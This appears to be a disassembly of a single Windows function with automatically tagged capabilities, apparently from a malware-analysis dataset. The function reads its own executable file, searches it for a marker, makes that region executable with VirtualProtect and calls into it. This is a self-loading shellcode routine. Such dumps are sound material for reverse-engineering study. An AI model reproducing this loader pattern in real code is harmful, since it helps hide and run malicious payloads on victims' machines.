Function at 0x1003c554
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x100f529c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0xa8]
push 0
push 0
push 0
push eax
call edi
mov eax, 1
mov ecx, eax
push ebx
cpuid
mov esi, ebx
pop ebx
nop
lea ebx, [ebp - 0x8c]
mov dword [ebp - 0x68], 0x20
mov dword [ebx], eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x24]
mov dword [ebx + 4], esi
mov dword [ebx + 8], ecx
push eax
mov dword [ebx + 0xc], edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push dword [ebp - 0x8c]
lea eax, [ebp - 0x24]
push dword [ebp - 0x80]
push eax
lea eax, [ebp - 0x60]
push str._s_08X_08X
push eax
call fcn.1003c370
add esp, 0x14
lea eax, [ebp - 0x60]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1003c7b2
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x78]
push eax
push 0
push 3
push 0x1003c3a0
push 0
push 0
call esi
push 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1003c7a1
xor ebx, ebx
mov dword [0x100f5de8], 0xffffffff
lea eax, [ebp - 0x78]
mov dword [0x100f5dec], 0
push eax
push ebx
push 4
push 0x1003c3a0
push ebx
push ebx
mov dword [ebp - 0x6c], 0
mov byte [0x100f5df0], 0
mov dword [ebp - 0x70], ebx
call esi
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x7c], eax
cmp edx, 0xffffffff
je 0x1003c790
xor esi, esi
jmp case.default.0x1003c54d
mov esi, dword [ebp - 0x6c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1003c75b
inc dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x51eb851f
sub ecx, dword [ebp - 0x7c]
mul ecx
mov eax, 0xcccccccd
mov ecx, edx
shr ecx, 5
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
mov edx, dword [ebp - 0x64]
add eax, eax
sub ecx, eax
mov dword [ebp - 0x74], ecx
dec ecx
cmp ecx, 5
ja case.default.0x1003c54d
jmp dword [ecx*4 + 0x1003c7bc]
cmp byte [0x100f5df0], 0
jne case.default.0x1003c54d
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edx, dword [ebp - 0x64]
mov esi, eax
test esi, esi
je 0x1003c502
push str..dll
push esi
call fcn.100a8310
push 0x5c
push esi
mov edi, eax
call fcn.100a81d0
add esp, 0x10
test eax, eax
jne 0x1003c593
push 0x20
push esi
call fcn.100a81d0
add esp, 8
mov esi, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x64]
test edi, edi
je case.default.0x1003c54d
test eax, eax
je case.default.0x1003c54d
push 0x104
push 0x100f5df0
inc eax
mov byte [edi + 4], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, dword [ebp - 0x64]
jmp 0x1003c502
cmp byte [0x100f5df0], 0
je case.default.0x1003c54d
cmp dword [0x100f5de8], 0xffffffff
jne case.default.0x1003c54d
test esi, esi
jne case.default.0x1003c54d
push esi
push esi
push 3
push esi
push 3
push closesocket
push 0x100f5df0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [0x100f5de8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [ebp - 0x64]
mov esi, eax
mov dword [ebp - 0x6c], esi
jmp case.default.0x1003c54d
cmp dword [0x100f5de8], 0xffffffff
je case.default.0x1003c54d
cmp dword [0x100f5dec], 0
jne case.default.0x1003c54d
push 0x300000
call fcn.100a9409
mov edx, dword [ebp - 0x64]
add esp, 4
mov dword [0x100f5dec], eax
jmp case.default.0x1003c54d
mov eax, dword [0x100f5dec]
test eax, eax
je case.default.0x1003c54d
test esi, esi
je case.default.0x1003c54d
cmp dword [ebp - 0x70], 0
jne case.default.0x1003c54d
push 0
lea ecx, [ebp - 0x70]
push ecx
push esi
push eax
push dword [0x100f5de8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x64]
mov eax, esi
mov dword [ebp - 0x68], eax
cmp esi, 0xe1000
jbe case.default.0x1003c54d
mov edx, dword [0x100f5dec]
mov ecx, esi
cmp dword [edx + eax], 0xbfbfbfbf
je 0x1003c6c2
dec eax
mov dword [ebp - 0x68], eax
mov ecx, eax
cmp eax, 0xe1000
ja 0x1003c6a4
mov edx, dword [ebp - 0x64]
jmp case.default.0x1003c54d
mov edx, dword [ebp - 0x64]
mov ebx, ecx
jmp case.default.0x1003c54d
mov ecx, dword [0x100f5dec]
test ecx, ecx
je case.default.0x1003c54d
cmp dword [0x100f5ef4], 0
je case.default.0x1003c54d
test ebx, ebx
je case.default.0x1003c54d
lea edx, [ebp - 0x74]
mov eax, ebx
push edx
and eax, 0xffffff00
push 0x40
mov dword [ebp - 0x74], eax
add eax, ecx
push 0x100000
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x64]
mov dword [0x100f5ef4], 0
jmp case.default.0x1003c54d
cmp dword [0x100f5dec], 0
je case.default.0x1003c54d
mov eax, dword [0x100f5de8]
cmp eax, 0xffffffff
je case.default.0x1003c54d
test ebx, ebx
je case.default.0x1003c54d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x64]
mov dword [0x100f5de8], 0xffffffff
jmp case.default.0x1003c54d
cmp dword [ebp - 0x68], 0x8df45a
mov edx, dword [ebp - 0x64]
jbe case.default.0x1003c54d
cmp ebx, 0xe1000
jbe 0x1003c7a1
mov eax, dword [0x100f5dec]
test eax, eax
je 0x1003c7a1
add eax, 4
add eax, ebx
call eax
mov edx, dword [ebp - 0x64]
jmp case.default.0x1003c54d
push 0
push 0
push 0
lea eax, [ebp - 0xa8]
push eax
call edi
jmp 0x1003c790
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100a69cd
mov esp, ebp
pop ebp
ret
push 0
call fcn.100ab064
nop dword [eax]
push esp
lds eax, [ebx]
adc dh, cl
lds eax, [ebx]
adc byte [ecx], ah
mov byte [ebx], 0x10
push ebp
mov byte [ebx], 16
int3